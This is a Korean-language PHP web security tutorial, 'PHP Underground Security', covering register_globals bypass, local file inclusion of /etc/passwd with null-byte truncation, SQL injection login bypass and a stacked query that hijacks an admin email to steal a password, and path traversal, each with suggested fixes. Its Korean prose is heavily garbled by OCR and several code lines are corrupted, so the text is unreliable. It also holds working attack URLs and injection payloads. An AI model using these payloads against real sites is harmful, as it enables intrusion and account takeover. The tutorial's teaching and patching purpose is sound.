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——[ 0x00: Let's start.. ]
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[...]

if ($is_admin == 1) {
[/8E. He 22lket] 22l adnin LICH.
[...]
}else {
//0tLIZ, M= adminOl Ol LICH.
[...]

}
Ul, $is_admin2 OIM0I AIEE X0l S H01Z 2 = JOMH, Ol M 2o,
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http://remote_host/bugged.php?is_admin=1
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$is_admin = 0;
[...]

if ($is_admin == 1) {
[/O8 R, M= 2elketd S2l= admin LICH
[...]
}else {
//No, M= adminOl OF&lLICH.
[...]
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<?php

include "/users/".$include_path.".php";

[...]
>
$include_pathe= AIEED| 80U ALK 2LOIM, B2AX= 0] B0 HXE HOIHE
YD /etc/passwdet 22 IS ZESESLICH. WE S0, AFSX= "EAH" URLOI U=
include_pathll HAE = 3t= Solf ThE WS 2 = USLICH.

http://remote_host/bugged.php?include_path=../../../../etc/passwd%00
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<?php

include "/users/../../../../etc/passwd%00.php"
[...]

>
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- [ NOTE ] -

NULL CHARE 2I0Ig LICt.
o

g = UAs AHR.

%02 RACIINR? 2HMNL, %002 PHP &HKE "4AHH"
gker O] NULL byteE WiH=CHH, 2& php Ot
because the extension included is PHP

(include "/users/".$include_path." .PHP")
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include($_GET['pag']);
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http://remote_host/inc.php?pag=[2
SEM HH: (s =20)
http://remote_host/inc.php?pag=/etc/passwd
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$pag = $_GET['pag'];
$pages = array('index.php', 'alfa.php', 'beta.php', 'gamma.php');

if(in_array($pag, $pages))
{

{

include($pag);

else

o



{
die("Hacking Attempt!");

}
[...]
[/]
——[ 0x03: XSS]
XSSOl CHet 242 RGHAILIR?
Mol MEUH= XSSOl Uioll £€2 €2 A;sUC. U3 EHME 2BHMR
[+] "Cross-Site Scripting for Fun and Profit"
http://www.playhack.net/view.php?type=1&id=18
[+] "Applying XSS to Phishing Attacks"
http://www.playhack.net/view.php?type=1&id=20
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———[ 0x03: SQL Injection]
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—————— [ 0x04b Login Bypass 1 // 279! 3l
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// login.php

$nick = $_POST['nick']:
$pass = $_POST[ 'pass'];

$1ink = mysgl_connect('localhost', 'root', 'root') or
die('Error: '.mysql_error());

mysql_select_db("sqgl_inj", $link);



$query = mysqgl_query("SELECT = FROM sql_inj
WHERE nick ='".$nick.""
AND pass ='" .$pass. "'", $link);

if (mysql_num_rows($query) == 0) {
echo "<script type=W"text/javascriptW">

window. location.href="index.html';</script>";
exits

$logged = 1;

"SELECT * FROM sqgl_inj WHERE nick ='".$nick."' AND pass ='" .$pass. "'"
OfcHot 20| BiZXE S Bi4E SWAIIIHE HE 20| LHENR:

1"0R '"1" = "1
1"O0R "1' ="

$nick
$pass

Mz2 Fcle sl 25 HllR:
"SELECT * FROM sal_inj WHERE nick ='1 OR '1" = '1" AND pass ='1" OR '1" = "1""

S.. ZESIIR? otdIte? 2306t 2

min

HEL. ..
HAZ0l &H HOISS oUH, Oloidt=0 Ot 2H SlSZLIC.
TOR1 =17

10R 12 11t ZEJtR?

Job

A5

JdeddH, ‘sal_inj' HIOISOA 2
OLOt. O ScIAHoldsS £Xlg A

JdeilMd, REWH SMEAM 2OCI8H110, RN FHM= 2celkt... . ds
fol= 2telkt. ;) Al ¥&?

Cet 08 #Hel 2AEHdCe2E €28 = /UsUIH:

1"0R "1" = "1" #
what_we_want_to_put // SclJt €2 {st= A

$nick
$pass

MZ2 Hcle s 22 Hl

0

"SELECT * FROM sqgl_inj WHERE nick ='1 OR '1' = '1' # AND pass = what_we_want_to_put"

&N LECE AHME #'2 =0 F=40l2ks RS 20lotE! =&l D FHele



"SELECT * FROM sql_inj WHERE nick ='1 OR '1' = '1'

deld... fele TAl 22Xt H= Hule D

______ [ Ox04b: F2IJF GtLE? OFLIZE.. 2JHOIR! ]
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<?php

//emai | .php

[...]

$email = $_POST['email'];

[...]

$aquery = mysal_query("SELECT email, passwd, user_name FROM users WHERE email =

"o$email "t

[...]

>
L Q. MNH PAS JUR? $email BHE= AIEDD] 80U HESAH MelZ O UX
%*aum. Z0tR!! R2le 0/& YdAZEZQ & 2= ULD 2. . HE S0¢ Ot &0l
Haez ol 4US SoiA CIOIEBIONIA B32E A HEELICH
$email = x'; UPDATE users SET email = 'omnipresent@email.it

WHERE email = 'admin@site.com ';

MZ2 Fcle sl 25 HilR:

SELECT email, passwd, user _name FROM users
WHERE email = ' x':; UPDATE users SET email = 'omnipresent@email.it'
WHERE email = 'admin@site.com ';

OIIM B2 X= 'users' HIOISE2 BHEAIR LD, ol 22lXte e-mail 2EE AL
e-mail2 HAAIZSLILCH. &I =0 , WE "IHAREE AHHeI[ASLII?" 2t
22 2SS 22X emails SHM B 4= ASLICH (omnipresent@email . it0lZ%& :D)
ja CIS 22 EmailS Z&LICH:

From: host@site.com
To: omnipresent@email.it
Subject: Login Password

OlGil.. 2ot ;)

Username: Admin
Password: 12345

el k=2
O J1Ch.

-—[ Patching ]-—
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1. magic_quotes_gcpsE nlz & &

magic_aquotes_gcp= A& (' )1101| HAHOIEZ 2XE €S AYULICH
-COOK I E
-POST
-GET
2. addslashes()E& AIZSHCH
addslashes()= '/'2 &M ol2& AALICH
3. htmlspecialchars()
htmlspecialchars()= HIML 2 EQIo| E5F 2XE BEAIZ 2LICH

4. mysql_escape_string()
mysqal_queryOll AEZ0| AFIEEH= 22 HHELICEH

5. 8 O %2 Jls= <ol ww.php.net= EAMR ;)

6. OtcHet &0, AFZXZRH
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$user_id = (int)$_GET['user_id'];

$user_ide AXMLE H=0110 ot&E & HEcIHOIES Al B2 (cast)
g = UsUIC

—[ 0x05: File Traverse ]
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<?php
[...]

$fp = fopen("/path/{$_GET['filename']}.txt", 'r');
[...]
>
0l ATEHEWE 'filename' 0l A AMSXHHl 2o Z&E = U= FHABFHO| EMHELICH
Oledst A0 2AX=s "../"9 20| &9 UHEZZ O|EOH/\‘| CE s = =
U= SEtE0l 2122 0|sdll WMEAIAEZE JIZ2XE = USLICH.
HE S0

http://remote_host/path/bug.php?filename=../../../../path_of_another_file/file%00

JZXICH NULL byte(%00)2 MYO0IE & MEtS HIctn AEEHS Ex6k)| Aok
22 330 MEETE A= REONR.
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$clean = array();

if (basename($_GET['filename']) == $_GET['filename'])
{ $clean['filename'] = $_GET['filename'];
else }
{
[...]
}

$fp = fopen("/path/{$clean['filename']}.txt", 'r');

>

——[ 0x06: Conclusion ]

OlHl Mol A "PHP Underground Security" 2 OFXIZO0IHIR. Ol EAMIF (24 =0|
OLMSH PHP DEE OtE=0H &30 DY ™H & LICH

0™ 2HIF JACH O3S Lz BEUFANR.
omnipresent@email.it or omni@layhack.net.
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